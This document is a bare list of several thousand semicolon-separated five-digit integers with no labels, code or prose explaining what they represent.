17158;18479;62239;18438;55643;50861;20129;46126;63262;14970;33865;22699;17684;25171;45080;30040;22254;39776;58017;64231;41236;28908;18162;49261;10937;15250;62102;31702;16937;28808;61161;15364;17181;49289;42787;54868;44647;40164;15511;34234;12794;57003;58027;28927;48290;17739;24393;60891;29037;65763;36888;60536;27799;30689;27230;15269;63404;35526;46804;60883;38520;16401;47362;63426;19557;39676;66806;24150;12795;54526;21536;49149;11644;56539;64198;28018;15227;43961;19592;43093;58493;64613;15163;31798;65266;59806;54543;57623;61849;17004;26523;65523;63344;60242;64194;25143;37214;48202;27906;43484;59906;31106;18427;66702;58829;19997;46957;24565;20695;14018;65271;47360;48821;27284;55201;33752;47002;53008;40033;36170;50533;23218;45241;36017;58491;51895;40207;50134;42701;34829;43411;38557;17051;64672;43071;49977;28618;41929;33806;46514;62630;64156;35448;12270;59622;45636;63715;20468;57337;15066;26741;32814;43754;60330;51798;35795;15002;39146;56985;22810;10259;49005;53029;14310;23570;25423;13392;29708;16579;59962;40445;16859;18680;15232;45136;22310;18814;65922;20642;47597;19461;28044;39011;22990;29307;12563;16953;51198;18406;61876;40984;13243;50167;49711;27426;29484;18390;52560;40325;13710;58428;41284;62490;43519;32096;33997;13375;51419;30986;64752;33546;23596;23461;27251;24131;46828;44839;62801;56481;23311;16105;63108;55091;41865;51824;35579;57197;11031;21559;54915;48977;47186;31056;34158;16720;25335;45178;39035;25836;14281;20456;19412;58219;24613;16078;45052;44278;36681;20226;45643;60032;46846;30168;66326;14394;34575;32201;41430;21936;40791;10959;12528;26381;53446;36244;38502;25595;35736;20979;33317;30333;28798;21987;22487;17986;43344;26477;23792;52173;42897;47705;49747;23304;28589;50366;60052;46050;35850;60638;58736;13745;49524;26159;44690;21643;40277;59308;54083;36206;14805;58087;41123;35107;66614;24011;66816;62707;55283;31458;13834;60839;10965;52370;13515;59160;42266;63112;16855;61287;55744;28293;32312;21084;27374;15387;47144;60816;28181;38010;26752;27875;41602;53036;40148;59340;37733;48376;59216;37886;43498;39863;63088;48736;55998;66686;43357;59979;27262;63360;13085;19029;30154;52861;38139;42070;14617;54277;40378;66285;58960;24098;23234;27072;60092;24822;10015;20484;14118;44841;52535;49338;63213;38418;11173;12552;61154;47043;38280;62963;29767;27199;24153;28360;30438;33113;60642;46969;39383;53739;66630;20878;32467;64308;27079;28201;11970;26257;15764;36102;42462;30239;11918;27411;35087;45617;22047;49732;17466;62435;23430;66195;21058;45107;60461;65298;23458;26252;54700;44403;18242;37135;48344;20886;20198;50912;22603;20076;11516;66292;52330;17388;39802;12227;28619;39581;17756;65198;30381;30737;42756;19199;29756;32373;27441;31363;46696;32389;22181;41963;30308;51333;22116;20368;36071;17193;47397;44383;27545;56043;17665;46276;18459;28322;41161;56178;17105;21108;30396;58222;28479;47880;50420;44638;22604;65169;12684;52141;49751;32741;34180;31596;19011;47700;27330;61257;56434;66077;18214;46256;38179;51441;14519;53250;24111;21577;30656;34556;32616;12969;49052;48949;59144;39406;46328;12904;32395;15678;39095;39478;13248;25805;22804;57742;23224;32982;55755;31183;35532;20259;22350;32610;60369;25683;18215;26567;56552;44661;42005;54989;30797;13196;36830;21583;46699;47345;47182;38768;55036;20793;33516;36818;59633;38312;52154;59663;38023;32386;49442;45003;17256;39405;33233;14407;64414;24368;11585;40108;56045;18266;15284;63416;38442;10370;26568;26763;28760;19139;18234;16804;14031;51051;66148;30288;29223;15864;62644;21887;20245;27575;54215;49826;14988;51540;59464;45404;49434;56194;55096;43576;23646;63826;31223;57116;60049;12086;10467;47449;34958;65600;49616;19201;28439;50116;21626;63579;18560;34890;17488;51686;25569;13535;36053;34476;53903;50859;17983;45738;29248;16740;27358;30869;11664;37461;48655;23891;19186;54330;42341;20557;23246;40624;43062;21576;46203;58046;58580;23344;21003;20075;34437;24247;46344;32906;55378;26751;28250;57855;53768;62974;55037;34940;24839;25508;11338;62935;19454;54796;51152;55112;38273;27746;24699;17108;28611;32285;66395;43325;21754;36368;52581;17718;34073;59384;59269;57234;46165;27120;13947;51159;33784;55964;37057;17072;28822;55084;53242;52819;28366;26235;38395;21757;65914;62507;52152;49955;36898;54339;59917;40932;62794;45938;63298;16234;23951;40568;23088;13413;44755;60329;62508;57486;62138;53063;43982;54508;58686;35278;51586;33822;41184;66076;11575;39104;17114;61146;44952;18136;56218;32351;10141;53571;17777;17261;41272;65550;56929;16899;17577;19547;18133;14215;57097;60714;13043;36208;36246;45270;52201;43091;34204;34708;26253;24747;22959;40762;20105;30125;51509;61567;20840;35031;24575;11495;49318;11150;56502;59400;45500;38902;41278;20959;27170;63822;60563;63670;48703;37130;15807;45427;55409;19475;33741;10184;29196;41502;45819;12943;58398;20499;50144;35774;63930;11033;45220;41710;41365;43345;25366;50963;23595;21863;25534;49956;36890;38801;42498;17119;32842;49553;19690;22190;11537;35436;32641;32133;65210;47813;40604;10655;18481;60967;64306;50294;23704;17575;32993;18289;52528;19192;33364;39799;64144;44901;20190;11548;50662;12760;41092;27974;49891;38550;12489;38940;59798;10350;24851;37652;21305;42053;24567;13267;57772;30792;59268;22898;10304;21402;26244;65965;54168;17221;26332;47660;53211;45826;37170;31858;35356;33024;53065;41632;29014;32081;58310;17496;60275;23520;27704;29205;24617;62553;34543;51026;58890;11534;49123;38258;56248;60163;41593;53200;49569;30633;49475;25060;10525;56010;65386;28004;27959;23469;35728;27436;51035;34381;21821;18573;52362;52883;29198;16274;25223;55598;18765;49276;22049;64451;18906;56751;50056;26419;19859;60654;11901;37008;56666;41968;44792;47330;28642;48893;65610;45879;23558;65690;54802;55242;23104;57534;66878;59155;54364;35839;24836;56543;13532;16492;10527;22399;45393;61140;14151;30604;51574;14009;35837;15161;64996;46231;12301;40705;25292;13511;28173;63877;66057;29146;50937;33120;37241;41708;43746;19799;42365;13064;26824;29606;18207;21048;24906;31931;49273;58681;12875;65748;25383;41599;58644;31888;26809;29599;30004;59526;60751;15576;45075;15582;50354;16090;49300;31218;47105;54518;12782;28167;34057;38063;41858;10381;66149;27567;20563;60715;54834;62944;61068;52246;39041;46641;64180;33075;39033;36018;47243;61086;44362;41271;24124;14484;43985;64090;20953;62432;59674;45608;56243;32891;27168;42718;45085;56308;42323;44508;43400;38571;49314;60440;32130;16633;35072;29985;13366;59212;32959;63910;31659;47746;64097;51286;25479;63541;38370;48299;27613;27403;61697;10999;57425;34781;53463;13817;34722;57024;34954;13741;35270;49652;46614;23341;49574;10603;15362;34027;16807;33706;27865;47852;16602;19841;64154;56030;34134;28720;66947;10629;54200;55071;27921;11171;27007;57431;34983;61829;38114;20232;57240;50588;20008;17363;31173;27544;31305;29639;47381;39779;10442;16797;40470;61445;15729;33237;35389;31304;25537;36404;46961;30920;47382;45047;39948;64704;34127;64789;42626;15769;13544;29211;13041;28846;53354;62926;27314;60677;41500;56036;66772;17128;41985;57654;28535;64540;19209;24495;66732;11570;26213;57615;62257;24689;62191;27840;18793;47166;19602;27450;30676;42533;25548;34490;45588;24535;22401;24029;64656;47307;55696;46947;52196;65796;14796;51254;60921;11930;44174;30721;16107;31505;49177;59020;25882;20853;46421;54535;59900;41457;42071;65538;58734;45661;39445;54625;48578;11219;47012;24438;26510;62218;64947;43802;37140;56844;16396;45628;59259;63655;25151;41378;43915;19978;61554;36929;43974;36450;26753;54341;26160;40991;44153;65584;48256;56356;36306;52699;22770;21930;13918;56507;58119;14700;49210;44002;27034;20629;57184;29225;31570;44853;63728;57139;23316;20053;37641;64700;50803;17106;25420;31107;31151;64029;65552;50747;10144;27597;25339;49639;16233;42665;36524;59048;52880;52622;35366;25708;51103;32222;44207;60559;60492;58975;31335;38113;35187;43589;42598;41976;29232;31873;34694;39047;51233;19931;11250;42918;38724;10090;57868;23579;11106;22871;28744;24898;32043;55180;57378;47553;21435;44306;42465;21112;22591;43203;64957;23462;48356;20488;33486;23572;24718;14286;56943;33656;53556;29560;23350;12664;40305;46908;64253;44156;58256;22197;37646;39617;34459;63868;39342;54540;40578;41342;64641;63335;14071;47688;37089;64151;42324;38241;37701;55014;17232;14331;11435;49972;41998;27691;33754;27059;45328;36977;55924;29448;24648;22775;66281;46723;33916;38439;43581;48319;18114;46770;65613;31620;62550;19769;10830;38105;20613;66178;16386;52850;55769;49499;24552;21444;38675;41639;23027;50278;29274;21298;50792;42981;57788;54764;58103;21079;15143;43612;29410;60348;52192;53334;23071;15122;60744;60005;24405;17389;29332;65782;23925;60237;45482;15187;26018;60823;43846;49321;12575;15499;46318;36300;37159;35114;54650;30685;37428;49044;37565;21927;65087;32470;43279;15838;63806;23685;30650;17666;39660;42666;40874;24882;53857;54575;57062;47605;51282;31700;61292;15562;15890;56882;39833;21097;66200;36617;17160;62569;44820;38097;26853;26386;18456;36468;55530;11349;25034;50961;28929;24095;44254;15162;28701;49660;33236;47074;25996;65745;47336;43524;34844;43096;10417;60138;64241;27925;41729;26262;13898;51640;47152;60647;44217;65402;54591;41537;17527;64554;10658;62987;12994;39379;21217;66133;66760;52849;34167;36738;13768;23080;30649;27333;58731;37203;26239;21072;40094;63884;50319;56140;23168;16397;34904;45838;65428;24147;19009;58922;16271;60630;45177;46574;37865;15276;52156;28796;23405;42483;50041;41884;26435;36657;28006;23612;31470;56786;15028;40714;23657;64666;30211;33988;60579;21924;24963;13213;66319;46840;34050;30905;39275;30460;57952;39772;17269;22900;40912;59733;15146;57232;49807;25126;30261;10544;57947;10266;12337;65151;15960;49347;20598;52322;21427;62746;47772;61134;57756;56350;38320;58967;66638;35220;23009;66518;22314;26699;35573;29504;57336;43292;56757;44205;61390;39317;32656;32139;52978;50712;66566;61465;38561;55791;28922;31803;12332;58357;65568;41205;37799;31862;59390;55291;30106;17562;55568;41863;24740;38806;20933;33027;29033;12006;34754;56996;24754;25666;64083;47436;34439;28249;65629;54065;26943;65092;33602;44894;57322;59483;13208;50173;24065;11851;52032;19346;29140;26489;22635;44430;53870;40413;41398;40045;28363;64043;23610;52254;43289;16701;13667;24301;15287;29101;29483;22539;42516;30941;32703;47713;53886;56137;39531;16573;22545;26132;45288;62139;46791;37664;36769;54111;14270;20175;51382;65531;28550;36699;35171;17745;39991;11204;54737;11413;37484;60468;51447;28941;22569;43601;15403;26288;51588;14368;63596;31287;62188;52258;11018;42782;16539;55552;34162;22106;41510;13877;25365;41563;31133;23701;61985;33310;39887;17137;34075;34892;44506;33728;66662;62477;12359;50636;35578;50944;24695;52452;64912;57387;48324;21339;36426;53173;11163;24152;11621;42044;27581;21168;43673;54063;27708;42674;24035;43882;55382;49394;57126;30113;25893;31115;16073;21199;34704;60362;46607;18358;41147;12414;22149;35593;11579;20404;38946;28746;15654;53376;34238;37861;17470;48367;61692;11973;21202;31392;33250;55271;28096;47744;40782;65119;13310;12677;14390;47430;24830;60142;34386;38876;64155;42196;43603;26079;35285;24461;41283;46787;24692;30145;15519;45503;50370;62226;43574;16196;47216;30158;29088;30900;18458;18436;53028;31977;66221;22679;30926;12206;54690;51229;51733;64940;25385;19403;51855;59382;46031;53550;20536;48706;44113;40342;29124;26121;63257;26106;20945;41687;27978;55894;54617;52003;12389;46423;24305;50515;53567;23942;45031;27184;11456;66825;17439;33411;47018;26279;27788;24893;62543;40946;16126;66129;30370;59940;55023;48625;65406;11559;54827;36710;42271;44776;53058;35222;53370;28840;53895;52106;23242;30090;59638;47536;11589;25374;46208;32530;21335;45023;43180;43046;59683;24307;22470;48851;28902;52543;51097;23323;63462;33833;14521;39456;25305;19611;31583;45808;54706;33460;22384;31094;33521;59603;35826;48691;24149;27626;24665;22005;11425;56785;18839;42120;25507;44396;42141;55731;44425;28185;13805;44072;12578;10445;41397;42807;28020;59716;10173;37343;53361;56158;44846;20351;53576;47469;40465;47693;25127;18631;48403;10508;15779;20425;42524;20823;58198;27857;52244;51724;41871;62770;64953;52923;58776;60745;54253;30843;35881;23656;66278;45250;21239;49905;19336;21597;10729;53081;57368;30542;50179;42065;43236;43164;51607;27439;41586;47354;20788;61047;37420;56938;28501;30736;43983;12561;65290;57068;23121;17455;46379;10009;51658;25310;32275;64292;62465;39718;22144;43873;39226;59521;24811;18090;51239;55286;52977;48484;41709;66512;53156;56654;31114;46703;48792;13825;19057;40080;30666;21731;12932;47467;43583;15428;16195;18526;19265;64060;54018;57117;19770;61789;53989;56317;30866;53316;18071;59059;51983;48482;16698;59086;51868;16803;17198;13286;36310;29866;58570;57652;62119;44135;15957;49324;35161;17334;65248;62853;18009;36862;52673;39848;29237;22526;32273;14235;60056;26728;54534;19123;46824;15965;44586;52843;57904;45383;49728;60616;35325;29816;63879;39218;40766;57588;60995;22335;38861;15479;51506;57774;26808;42353;51115;66894;24295;10984;57475;61328;53767;58535;40929;31507;20290;19322;35273;45614;34691;63393;15497;44653;20816;44933;13625;11582;47773;35682;36097;40180;32146;55108;26934;55847;45755;63600;20585;32381;31431;23709;46016;41625;29226;57621;62051;44482;19361;46040;32639;32005;17268;33903;12967;64721;15084;47503;35988;57715;16534;13093;29497;23261;10031;46777;14425;64374;18926;20754;41555;28877;16692;39938;21327;24419;18891;51952;40432;42472;11168;56795;16857;61052;30247;10500;55451;46488;21562;56500;56015;17604;59727;49224;52345;61684;64336;50659;57442;54420;40244;63133;49877;22819;40288;10714;65497;52876;53188;41411;53254;50724;39393;18175;62860;58523;28542;49952;56593;26928;41699;33132;61004;65037;52716;64252;26492;25726;50369;62876;64313;59664;35816;62780;46647;55536;57959;35999;38944;24923;14567;31921;33337;15726;44101;47708;51320;28030;32648;52771;42784;32766;66356;28080;54118;51929;64094;29921;22620;41134;11528;51480;34173;65551;42951;17356;31597;18048;12062;26287;24655;57290;64024;16936;39245;34290;64467;63615;27163;14691;27867;32943;26346;41640;64191;14656;39989;32262;30066;10473;44920;29059;13259;56249;23435;28413;23689;64177;21799;66181;58858;65638;56646;43438;32890;22992;19249;43734;26035;51190;65434;50850;37400;45717;44539;26518;57726;42963;63948;50020;45296;19899;50625;52434;18498;38243;58900;62216;32402;15971;30859;38780;21343;54369;58035;26156;25643;61580;45411;45511;53865;32334;65948;40124;25744;44042;13943;63043;64223;53241;54372;12793;27994;29942;52688;41716;48864;63297;62217;55053;30022;47828;41219;16611;26031;16622;47612;28437;57539;37810;31627;18213;32196;58787;61169;13487;44336;37243;51891;23191;45862;65589;51291;58016;35105;15261;57252;17572;41781;56014;36373;38585;26578;24214;63787;41126;65155;30965;48297;40945;29561;14437;41853;10550;12774;52965;53054;47385;53178;11511;12751;47786;50524;12218;22295;64125;30411;58579;37096;29557;37796;14089;22304;34388;66804;33193;15107;51548;57101;62116;47771;22697;62321;63169;15016;31362;39858;41163;45339;12464;28935;45300;31199;42477;35027;33374;30485;14059;53802;50797;54718;28741;50371;65740;39349;26658;13676;31790;14443;46952;25325;59946;66264;52449;62535;55914;26097;52190;24324;64533;12713;39877;52678;23394;49413;45271;31971;59408;54651;32377;63585;15200;51943;50761;41183;30238;65481;24037;65003;10018;56256;32947;64078;37627;60252;58707;53732;26403;28794;41612;56145;29193;50463;23932;34043;52494;31964;66942;50831;18965;32211;48179;22633;29800;12316;23235;31869;15104;13144;17258;66864;43493;59629;46503;35524;23130;32671;20179;44509;53072;28230;38525;32371;42815;37375;17303;60785;28742;66424;48457;15547;19476;41452;64178;12352;39051;33597;62908;58085;32098;46368;52045;15145;38371;17674;16737;29347;14106;27303;36964;50784;57612;21915;21349;48489;44438;43833;17627;49346;28396;59854;21777;55294;47125;33477;57348;37915;46056;37459;23616;65056;17530;63072;23223;51305;24264;56204;20377;15935;56068;30245;17479;51245;47798;40708;16336;15295;41646;62221;40258;61325;26818;55509;57084;42905;33615;41073;52690;61000;47752;33160;63062;64279;65246;59354;56822;40913;52471;21829;13112;35659;53586;10609;44056;40115;56284;52854;21869;36778;63195;18168;26906;27850;26046;26669;16799;24901;52473;55625;30728;10004;63303;31802;45472;54610;66693;34777;14339;10835;46570;31482;51961;23312;42875;46806;54465;63499;26560;48252;63265;34384;53011;49770;52260;25983;29671;64573;33045;58636;12424;27229;64960;11917;16724;19607;23473;60057;47670;40491;38192;52018;52619;54995;46884;24066;34766;65486;56838;15835;58068;21389;32034;66968;49929;25261;16516;21734;45274;55995;44004;45135;58252;49232;41232;27513;46172;40818;24346;25336;43126;34314;41174;64186;56297;35882;49914;34620;30570;59799;41856;23256;33249;66151;49144;48881;62238;19619;31635;26900;57447;33378;55427;11049;25518;18007;38039;48172;51409;37578;48668;51627;59000;28092;16102;50778;47363;46335;52019;61638;27551;28663;48978;48462;13821;54831;12980;58693;64614;44267;52189;27923;57635;61281;58653;55158;20070;53507;14064;26393;42096;41669;59839;28959;65291;27927;26027;19838;17495;20050;39934;21496;43770;33172;53608;53968;24758;14834;47714;35414;49075;30724;59593;28043;62640;46303;26358;12837;41813;19196;56299;25789;45970;56363;21411;60021;14325;63918;17548;25449;19269;39902;11825;23775;55761;26644;47723;57805;10908;14816;43674;35938;28383;43446;43284;17274;21290;40147;26617;29168;63606;36608;62115;20048;51173;53115;44110;32818;66094;33982;51113;53395;24961;20641;47840;16047;30454;65837;29622;41214;14978;35613;55389;22447;52010;35098;14297;39439;10226;35415;24736;11323;56281;50439;61424;29156;10804;15535;29057;33130;65127;28347;57564;17775;51027;11815;52499;37088;54152;17531;62110;27755;20713;27386;15941;59714;64413;49756;42841;42468;21877;15443;51788;14727;14385;28503;48827;41798;48967;60607;23287;60341;59394;11121;19837;45944;10291;10470;46916;29084;33642;31536;66625;46649;55650;29413;60598;39493;43328;41274;33081;49285;17229;17144;10084;39310;49255;64563;32258;14219;52361;65209;53032;31153;60009;30379;48259;21062;27088;50966;20761;48867;40541;14282;25697;20722;33490;33878;22377;15368;23156;31823;27485;27044;36822;55081;22710;18396;45396;30874;40598;22771;44676;64624;60450;38670;34085;28398;64532;19233;57327;23782;47718;54662;14534;45420;13240;17238;39144;12210;23842;14752;27416;58868;63536;37338;65559;56813;54210;12543;16536;45035;11661;15097;12345;37787;51844;57901;34031;36951;14552;22484;60268;45248;42509;49609;11479;62573;16292;34943;49773;39486;19408;11502;22946;45642;28860;41671;54338;61166;64093;40709;49445;22689;57762;51181;28526;49506;21397;53697;30664;58767;65366;42257;52357;57263;33056;58000;27899;21377;20529;21609;59653;35928;17522;57389;37803;39322;14842;63914;43212;28844;23281;43383;21223;29897;25864;44777;44140;16844;55944;60153;15474;28032;49848;29322;27960;13165;20062;21375;39143;29258;35582;54096;16661;52280;55557;45723;11903;49799;18017;11916;43152;15189;28558;60819;60613;59779;54880;46968;23687;20269;11275;23184;63180;11200;10352;36633;23954;60069;17459;42593;54660;52778;33502;13652;45946;24924;56657;49549;10397;41972;42278;45709;30236;66513;61796;10848;18829;59585;65094;28966;32862;21819;27742;45934;61768;45014;27817;44548;12540;60947;59681;25210;14528;45200;55068;64491;51614;22888;48542;65525;38124;12305;57285;32307;55277;52414;46819;54749;44528;49014;65574;47902;56371;28356;33679;24715;58941;18726;30654;16419;11535;41415;30276;58581;25588;14371;25574;20071;46338;37819;39295;42579;43377;63951;29566;64767;30494;47208;46562;11493;54748;22847;60342;61085;31054;47374;23767;39826;64738;30727;32715;57977;57865;33001;40420;33447;40696;36245;45839;14453;46686;59266;26157;55404;21388;40518;56506;35821;17050;53771;61626;52122;41455;40017;20908;29843;19868;22132;50304;48607;64900;54512;63886;11723;43720;56662;52608;16898;43965;52094;19328;40739;19871;50070;17041;11081;53396;18715;23578;50340;35163;42678;42941;14254;58584;45705;54696;62247;65707;39294;16527;12520;43435;21889;24787;20614;59482;60353;39025;55782;33990;47023;51813;25746;48981;61810;50605;28425;45539;34955;36988;49016;13355;11892;59275;63512;22564;14111;23031;27114;49359;25851;23243;39657;65253;65470;59429;27316;36521;35699;38845;17519;27570;18077;59679;21114;24935;39036;10150;24431;23343;57560;15400;20055;54138;51110;60857;11133;47466;46730;47735;52288;54741;24680;63940;57844;34504;60700;60908;32354;17824;40888;34222;12562;17325;13462;66000;64664;48584;64091;49452;22060;38784;42030;65506;37712;25485;39525;38152;39183;50821;13435;27516;13391;13500;11148;49288;29575;35864;65510;46802;10108;10997;22565;20630;15587;58031;53290;53706;32079;59778;19426;13666;49721;28801;23511;21160;46529;20518;35860;54694;38737;43218;25268;16324;10852;34205;61083;13634;34324;15787;54799;41448;57864;28919;17502;27260;51582;12090;31255;27443;15098;28577;42379;58779;26210;59661;24055;25514;47163;43528;24047;33697;35331;26571;24555;61327;34219;66721;44234;33124;23944;41424;14225;33888;10688;21455;42441;10667;57689;65023;58208;13739;19720;35612;28612;64526;46693;29119;39628;63143;36099;27800;66465;21196;28045;27125;33685;31962;52623;45635;65391;63663;31830;39135;11438;55351;61049;61208;57293;13715;48609;47296;66125;50689;43311;19488;40390;42744;63387;14598;15979;44007;17489;65519;28182;65178;54225;28802;47775;16455;53410;13274;54193;37193;56572;29539;22054;40245;63289;35982;59571;19918;52639;15195;48592;28327;53775;14221;45299;33095;54038;28682;44538;30181;13404;49900;10100;22551;40171;20163;38233;48352;58370;51634;49965;65123;63096;66777;46568;51191;26694;51962;50367;15502;42698;35197;33716;23587;32515;13116;29392;30713;35575;60703;11718;53047;19767;28103;23289;40000;14066;61892;54101;29786;36022;58078;49111;22945;10954;57347;36218;18231;38389;47122;38589;66731;42597;19893;64989;44597;35985;38140;16364;66546;41172;33345;28116;24989;54399;62220;16668;48164;62208;23844;57843;35459;57574;50590;31456;53454;20814;27744;53822;38231;55591;61623;64243;40512;53686;46891;18469;25405;17702;21357;18170;58080;47154;26559;18334;64663;55820;10122;66778;20997;26047;32640;26278;19961;21330;45509;10521;64450;33357;52131;29846;15839;18066;34174;21283;56422;19601;58026;56091;48944;42848;48595;47100;23161;35639;42600;30515;11302;31848;56891;59956;23848;46934;12662;56946;22995;59147;54467;53795;39560;19118;59953;58468;33973;63115;63292;53908;35719;50960;45191;29203;29953;66905;28771;44218;27834;51581;34486;15917;27554;24568;58850;51728;24194;18045;33937;14571;66383;23974;19041;50826;30768;20727;29832;48822;23388;60731;18621;44904;21288;44031;46483;46420;48957;20836;16598;60543;16237;44851;26806;24712;59452;47886;23465;62624;12085;17985;37038;56724;14689;62372;36972;44321;19337;38336;48942;37848;53529;49325;40063;61529;22611;27725;47738;33409;45428;24360;39246;35245;11998;48928;51076;18605;36615;10854;18308;57463;18628;25745;36401;42183;53812;50054;59229;13249;15891;31259;30531;24271;31950;40428;65891;20556;65842;61680;19903;10185;32545;33864;53671;50981;15929;57799;29040;54567;51902;33779;61183;38295;13585;23452;46925;49221;29849;50043;28474;11353;38128;18082;22802;20678;42613;38792;47873;63008;45775;56442;64114;52695;46258;15871;43025;28751;21150;65033;51347;56551;54916;15202;38401;61537;26136;53369;56990;56682;11247;18789;30322;55050;26437;56549;65293;50231;64211;10784;39841;20690;55978;56789;27157;31332;45926;58750;52900;15951;53149;61767;33554;25358;26691;39552;45579;48560;12708;62966;18650;46750;39939;53439;55757;31000;27471;49132;55183;16895;47316;33945;27259;36283;29509;38932;20657;57948;25155;21197;11455;26302;23444;11314;37717;28945;50626;35192;10549;49043;47881;43820;24447;31929;60748;19895;27524;13183;34376;56197;62887;40291;22166;26168;47097;62863;41718;28348;11112;25085;36875;57877;12823;62997;21198;27021;59573;56388;63152;32537;22664;29833;49011;41059;30332;38033;31784;28668;31111;64291;55042;50270;28087;25988;39574;22450;63666;30969;11288;55866;58250;12413;16957;38227;14991;50613;27014;51234;48270;22421;13046;51118;21122;34171;33805;43048;17573;62906;24053;22191;52948;15594;41050;48447;31252;25271;55490;33717;50032;57912;18655;31093;38567;46903;25168;20977;61921;31852;19438;25300;46919;43637;54532;46738;45046;62613;62637;23125;30386;36919;21654;43975;51390;29334;49712;46044;49997;57129;42589;21060;55082;24825;21090;17508;45269;37502;31729;17094;42370;38672;16367;49681;55594;10920;14533;21666;15650;39289;31860;26849;51182;54025;38770;42020;11630;47671;58258;19880;52079;15712;29137;54770;65719;32757;52851;29940;61193;36856;58794;18957;60567;24436;21066;18450;32271;39700;50221;40570;21989;21073;46282;19710;35284;43418;46533;50348;31634;49120;36820;23911;42157;18887;19091;55321;22970;39017;41067;31910;32689;10275;34936;64071;25832;51750;44290;21250;57684;25142;57225;46067;36054;65617;52367;17059;14474;35101;39586;47159;58497;61803;42052;35543;66665;37103;14179;54648;19723;45182;15144;14248;16776;44979;22468;34815;41603;31329;47546;26265;22546;21888;58632;40421;48331;45536;21292;27472;21315;48514;38642;50428;50840;12019;27392;55908;58263;39462;15845;51782;43082;52456;65423;66134;56109;61471;16746;31004;49102;10406;58478;19793;27378;25965;43478;32122;46592;35485;65800;47620;19376;11485;21807;50946;30917;11653;49018;64045;27902;26218;44494;24030;14871;24373;25105;35029;33173;48193;60177;35763;31898;35530;53704;38482;13728;26857;62248;14190;66162;57464;46446;45103;54376;30123;56096;22017;34375;12948;24560;61230;39375;59422;21466;45119;45787;19473;30610;31479;43702;11359;59777;53734;33659;41906;12852;65242;26693;41712;13952;63733;61172;30810;19565;33672;37948;66954;61121;25861;42072;29781;60212;53209;41664;58135;10007;15384;62740;30231;20274;42334;25575;41868;58148;37441;20186;48412;55958;12783;21295;57591;12542;22184;47552;31577;42959;24706;61749;20521;31576;21993;30091;45696;41231;37713;33610;32673;18666;30947;14447;57497;28604;21717;46055;54581;33261;18430;63259;35832;28517;15572;29072;38548;41076;27728;32915;45982;24349;14954;22652;29727;25389;60609;10138;60400;35640;18866;49495;12851;42527;35134;55969;24201;54958;49993;59037;23392;56975;46684;33262;24530;38499;28628;60537;54052;39476;61299;22226;55047;21076;57782;47149;51919;66856;30637;22943;38955;31193;54184;54678;10101;36842;14166;25026;13360;57941;52398;26014;29693;44258;25804;63729;66216;15867;51958;39664;51222;55549;34391;53860;57244;27235;61268;29991;59958;43151;24497;29477;23836;14949;32008;36900;18120;50239;59073;16002;28867;53900;28729;58978;43732;23693;46243;12004;59015;66358;10801;30349;39774;57095;54843;15100;28134;61994;31566;33383;57478;22824;33476;11810;14712;46704;35435;33664;49536;58362;16061;51729;61291;25572;54201;41198;64150;60205;63294;13969;49438;50107;38679;30786;15380;60892;46796;49754;50460;10633;16147;50188;50815;43288;54584;62232;34813;48261;61854;57465;64267;31937;64010;61610;15439;46950;23142;51839;62156;50415;14929;25828;48886;30165;21316;26565;63406;38027;13235;56098;42351;60315;61159;56664;30317;60590;38639;31454;20047;23196;30249;27050;35529;31443;65274;29579;63651;21706;34874;30148;40685;61585;52507;43932;33718;13340;42147;32577;27618;41850;53825;59318;27738;43552;54871;46180;34118;54320;29224;52315;61317;64635;36694;37418;37604;29605;19512;41111;60727;58199;20772;28415;34551;36383;56709;17503;48618;34627;34445;28245;66719;55672;46557;17185;51432;62699;29415;50261;36020;21749;10008;44393;11659;35873;43670;35338;21219;14301;56675;24656;10559;22286;32635;64273;42771;48302;36287;41181;60010;25260;43671;61754;39216;10050;12119;62086;23035;59362;44603;38888;24238;27649;47064;13386;12881;19098;35815;15120;17131;23650;61439;18284;11576;50924;44724;21534;23565;65259;22642;59182;57706;39089;30777;33799;45471;43354;40915;45761;63050;27024;66606;63042;20201;47789;19395;63905;43780;12964;45390;41410;27442;22176;27357;58957;59109;21282;19119;50498;44858;50928;11814;34833;19894;48775;42764;18101;24798;17594;43664;17512;46138;14065;43300;64732;31915;20385;57759;14415;17163;25065;17076;61005;44274;55328;33308;31251;37773;25568;20152;42401;57661;20216;20622;49242;55211;50822;16404;25807;30176;53832;61026;20949;33192;16230;19812;39710;30335;43958;47570;14367;57331;53850;55391;41414;47278;56024;15179;49477;28662;55679;59244;66914;31166;19026;17721;14239;21942;51087;62683;60701;41116;16681;46612;38326;14143;65373;21809;29691;13301;40299;31186;27241;18503;62283;29287;19549;40530;50760;25226;26829;64115;28404;22641;19499;15050;16009;64148;46145;55634;58316;22292;38208;58687;36551;18634;24188;55589;45953;46930;29882;49328;37372;24940;30648;62358;25649;42172;40076;61629;31342;48521;55104;61109;21266;40374;51814;13803;26932;55608;48972;66862;59920;58273;20674;12632;43006;37335;38515;37626;41920;28378;66152;46606;16866;24673;50140;14716;53490;53766;57522;39913;13015;44620;35915;39468;38191;21742;52163;27776;60899;33123;12462;40827;41473;24406;34416;62729;54852;39936;35349;19707;11921;39831;27502;50468;63035;15322;17452;51633;54447;46468;40576;10036;12050;26720;11650;29559;24265;16306;28715;34852;61830;27162;14040;21657;62854;13153;54261;47062;22266;10294;26456;34140;44252;61574;58661;51989;22283;36185;52802;45726;46225;66345;18916;51869;42776;18457;17188;41647;53246;47085;31302;44943;40993;34880;36872;44680;13546;34385;50273;66869;47890;33955;41695;23696;44569;41913;15019;39596;22168;43191;32035;46497;23965;18272;42924;16453;51759;31320;30659;65604;28027;28705;34969;47325;50749;36295;63019;35617;49277;13182;26471;51119;43030;24337;51653;20272;12867;26762;42867;46022;12599;12321;41623;34548;28382;26185;58541;25306;49541;31224;40343;55033;23209;55345;65751;50237;52884;46086;33866;25007;15811;46255;45969;28900;22768;52924;24732;54869;12727;40867;13308;25629;16502;40924;10607;23215;16452;12203;39976;10768;43386;49625;53301;58624;23635;19254;48417;30924;55932;17201;45752;53780;53694;14128;49563;60351;53702;60890;48727;60031;43966;65903;56327;56008;20020;26497;15054;30193;19843;37996;17621;39540;21835;47563;15553;21611;34175;52030;31097;15154;66068;38640;15704;57871;63760;42430;40533;34185;60255;38928;27364;51642;55951;13638;49796;55373;26073;31645;41418;13430;13285;44940;55171;62396;30162;32973;63048;21582;22216;30586;21718;20040;63521;48222;62824;65660;42305;33856;37894;36627;38396;23631;38764;50901;18474;42818;62462;12416;17332;10548;42723;20085;32490;37946;50677;56820;11446;54828;42983;46224;38667;10567;24090;21845;53203;18527;57308;56533;58220;18047;49411;40955;42831;39730;57754;55214;61785;31007;22219;12261;11849;28755;58853;63389;21333;56026;49142;16629;21793;12067;60895;27165;47131;39553;